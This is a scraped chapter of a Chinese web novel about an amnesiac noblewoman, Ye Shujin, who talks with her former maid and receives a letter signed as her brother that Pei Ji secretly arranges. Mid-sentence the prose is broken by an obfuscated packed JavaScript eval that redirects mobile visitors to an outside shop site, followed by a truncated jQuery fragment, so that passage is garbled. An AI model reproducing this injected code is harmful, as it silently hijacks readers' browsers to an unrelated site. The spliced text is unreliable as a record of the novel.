文趣网 > 其他小说 > 失忆后,成了兄长笼中雀 > 27. 阿妹见字如晤
    夏桃来裴府那日,天气很好。

    月余未见,夏桃已经大有不同,穿着一身绫罗,头戴珠钗,俨然是一位贵妇人。

    叶舒锦早早就在门口处候着,见到夏桃下轿,她险些没认出来。

    看见叶舒锦,夏桃笑着行礼:“侯夫人。”

    叶舒锦隐约觉察到不妙,夏桃并未如她想的那样跟她亲近,比起之前似乎疏离不少。

    裴霁看见她略显失落的神情,上前提醒她:“先进屋吧。”

    叶舒锦忙领夏桃进屋,一边走一边问夏桃当时离开的事情。

    夏桃回道:“当时走的匆忙,后面进入张家后,又有许多事要做,这才没有来看望夫人。”

    说完,她又关切地问:“夫人您之前在街上被胡人追杀,可有受伤?”

    叶舒锦摇头:“我没受伤,裴霁救了我。”

    说话间,两人已到屋内,叶舒锦看着准备要留下的裴霁,忙说道:“裴霁……侯爷,我们有些体己话要说,你应该还有公务要忙吧。”

    明晃晃的驱赶,裴霁面上倒没什么反应,应了一声:“好,那你们聊。”

    裴霁离开,叶舒锦立马拉着夏桃,低声问:“夏桃,你当日究竟是为什么突然离开?可是跟裴霁有关?”

    夏桃:“当日,我去给侯爷和来访的张公子奉茶,张公子一眼看上了我,便将我接回府中做妾。”

    叶舒锦一听,语气忿忿:“裴霁怎么不拒绝?那人家中妻妾成群,我听阿辛说你在那过得不好。”

    “夫人。”夏桃低声道,“侯爷他给了我选择,是我自己没拒绝……我确实到了该嫁人的时候。”

    叶舒锦一愣:“为什么?你若是想嫁人,我可以给你找一个好人家去做正妻。”

    “夏桃,我虽然忘记了之前的事情,但是我能感觉到,我之前很信赖你,你若是有什么想法,完全可以跟我说。”

    夏桃微微叹口气,说道:“夫人,你失去记忆,即便我找你,你也只能找侯爷去说,我不想你因我答应他什么条件。况且,路是我自己选的,我并不觉得为难,我出生低贱,对我来说,嫁入张家是一个很好的机会,只是愧对了夫人,希望夫人莫要怪我。”

    叶舒锦一听,心中已经明白,夏桃恐怕已经与裴霁站在一起了。她忽然庆幸自己还没来得及说自己已然发现裴霁不是自己夫君的事实。

    她想了想,还是决定问问沈聿琤的事情:“那你能不能告诉我沈家的事?那日沈家三公子来寻我,让我救人,我跟沈家有来往吗?”

    话中半真半假,没说出全部事实。

    夏桃摇了摇头:“夫人与沈家并无来往,沈三公子兴许是觉得你心善,慌不择路之下才来求救。”

    叶舒锦一愣,心中期望瞬间破灭。

    夏桃跟着她陪嫁,之前也说那只蝴蝶金簪是自己夫君送的,怎么会不知道沈聿琤才是她夫君呢?

    夏桃果然被裴霁策反了。

    夏桃喝了口茶,忽而又道:“夫人与姑爷感情十分要好,我一直都觉得你们二人是顶好的姻缘,可夫人之前与自己兄长感情太过要好……夫人,夏桃只希望您能明白,亲人只是亲人……”

    她说着,微微叹了口气。

    叶舒锦心中正难受自己失去了一个同伴,忽然听见夏桃这突如其来的话,只觉得有些奇怪。

    但夏桃的话让她瞬间想到了自己的兄长,连忙压低声音问:“夏桃,你提醒我了,我还有兄长。你应该知道我兄长,他是一个怎么样的人?他人好吗?叫什么名字,我之前梦到过他……”

    夏桃:“……”

    她端着茶杯,几乎是用恨铁不成钢的眼神看着叶舒锦。

    叶舒锦:“我问太多了是吗?那你挑一个回答。”

    夏桃将茶杯放下,忽然豁出去一般:“夫人,你兄长他根本……”

    “咚咚!”两声略重的敲门声打断了她的话。

    门外传来慕盛的声音:“张夫人,张公子来寻人了。”

    夏桃一愣,缓缓低下头,站起身来向叶舒锦道别:“夫人,他向来不许我出门太久,我得回去了。”

    叶舒锦:“……你能不能把刚刚的话说完。”

    夏桃却是微微摇头:“夫人,你总会有想起来的一天的。”

    叶舒锦苦留不住,只能目送夏桃离开。

    夏桃离开后,叶舒锦就只能寄希望于那封信上。可她问了几次,也不见有信传来。

    天气日渐转冷,这天早上她本想将小乌鹊换个地方,却发现窗台上的小乌鹊不见了。

    她以为是掉到窗外了,慌忙跑窗台外去寻,却什么也没有。

    裴霁下朝回来,见她衣着单薄蹲在窗下,忙上前将身上披风取下,披在她身上。

    “蹲在这做什么?”他问。

    叶舒锦抬起头,泪眼朦胧,睫毛上挂着晶莹泪珠。

    “小乌鹊不见了,它会不会被野猫抓走了?”她语气哽咽。

    裴霁望了望窗台,轻声安慰道:“应该是伤好了就飞走了,府内没有野猫。”

    他俯下身,伸手轻轻抹去她眼睫上的泪珠。叶舒锦顺势闭眼,让他帮她擦泪。

    她抽噎着,疑惑问:“你上次不是被野猫抓伤过吗?”

    裴霁:“……”

    “那之后,我就命人将野猫赶出府去了。”他解释道,“前几日我见到有只小麻雀在抓虫子喂它,还扑棱着翅膀试图教它飞,昨夜天冷,它定是跟那只小麻雀飞走了。”

    叶舒锦想起来,之前确实总见着一只麻雀在窗外叫。

    “麻雀会喂别的鸟吗?”她问。

    裴霁点头:“会的。”

    这事之后,叶舒锦就将那鸟窝撤走了。没了小乌鹊陪着,她越发觉得无聊。

    兄长的信也不见动静,她怀疑自己那封信没有送到。

    等了些许时日,她心中郁郁,喜欢坐在亭上吹着冷风,满面忧愁,心中盘算着要多写几封信。

    另一侧,站在廊下的裴霁远远看着她,问身侧的齐管事:“她这几日都这样吗?”

    齐管事点头:“似乎是心情不太好,一日要问好几次送信的小厮。”

    裴霁沉吟片刻,转身去了书房。

    片刻后,他将一封信递给慕盛:“让人将这信给她,别说是我给的。”

    慕盛看了看那信,又看了看裴霁,忍不住想问但还是忍住了,拱手道:“是。”

    他出门看了一眼四周,发现正围着一盆花闲转的梨香。

    他走上前去,将信递给她:“刚得了一封信,是给夫人的,你给她送去吧。”

    梨香起身拍了拍手上的灰,拿着信看了看,也看不懂上面的字

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886685|212573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,应了一声就拿着信走了。

    她走了两步又回过头,说道:“你帮我看一下我的花,我想用来做胭脂的。”

    慕盛瞥了一眼地上的花,低声嘀咕了一句:“这破花谁会稀罕啊?”

    梨香快步跑到叶舒锦所在的亭子上,双手将信奉上:“夫人,您的信。”

    叶舒锦正无精打采的,听到这话忙回过头,看见梨香手中信,她怔了好一会儿。

    信封上用苍劲的笔力写着几个字:“吾妹亲启。”

    叶舒锦又惊又喜,忙接过信拆开。

    信上写着:阿妹见字如晤。来信已阅,我近日俗务冗杂,实难抽身。你且在侯府安心,我会托人护你安危,失忆之事我已听说。你切勿贸然行动,且等兄长来寻你。

    叶舒锦高兴地拿着信站起来原地走了一圈。

    虽然兄长暂时不能来接她,但叶舒锦安心不少,起码她不是孤立无援。她写信时担心被裴霁道人截下,没有敢写自己的情况,只隐晦提到一些自己的处境,看来兄长还是懂她的。

    晚饭时,叶舒锦给自己舀了整整一碗米饭。

    裴霁笑了笑,给她夹了菜,说道:“少吃些,待会儿还有江南来的糕点想让你尝尝。”

    叶舒锦抬起头,问:“江南的糕点?”

    裴霁点头:“江南一位极有名的师傅做的,我想了很多办法才将他请到京城来。”

    叶舒锦想到江南就是自己家乡,忙说道:“那现在拿上来吧,我想吃。”

    裴霁:“应该快到了。”

    话音刚落,一个小厮拿着一个食盒走来,附在裴霁耳边道:“侯爷,柳襄小姐来了。”

    裴霁点头:“知道了,糕点留下,让人送她回去吧。”

    叶舒锦问:“谁呀?”

    裴霁:“送糕点的师傅。”

    小厮一路小跑到大门口,对等在门口的人行了一礼:“侯爷已收到了,吩咐奴才让人送柳襄小姐回去。”

    叶柳襄神色低落,低声道:“我自己回就好。”

    她娘特意让她来送就是为了让她留在裴霁这,可没想到她连门都没进去。

    裴霁将食盒打开,里面放着一盘酥香的糕点。小小一个,外表是层层叠叠的酥皮,上面酥皮一碰就掉,所以做得很小,方便人一口吃下。

    叶舒锦拿起放入口中,里面不知是什么陷,焦香酥脆,咸甜口的。

    裴霁道:“好吃吗?”

    叶舒锦轻轻点头:“好吃,这个叫什么名字?”

    裴霁:“那师傅没取名,当地的人都叫它酥皮点心。”

    “这名字真朴实。”叶舒锦说着,不知怎么突然想起之前吃过的蟹壳黄。

    她没想到自己会记着一个糕点,明明裴霁给了她很么多好吃的。大概是越不能吃就越是想吃。

    夜晚做梦时,她竟梦到了那蟹壳黄。

    梦中春日明媚,她坐在亭中,发带随风扬起,正低着头将捡来的各色各样的石头放进花盆中。

    一只手将一个明黄糕点递到她嘴边:“窈窈,来。”

    她仰起头张嘴咬下一口,嘴里嘟囔着:“我不是小孩子,我自己会吃。”

    那人笑笑:“才十三,怎么就不是小孩了?”

    后面还梦到了什么,叶舒锦记不清了,但隐约记得后面不是什么愉快的梦。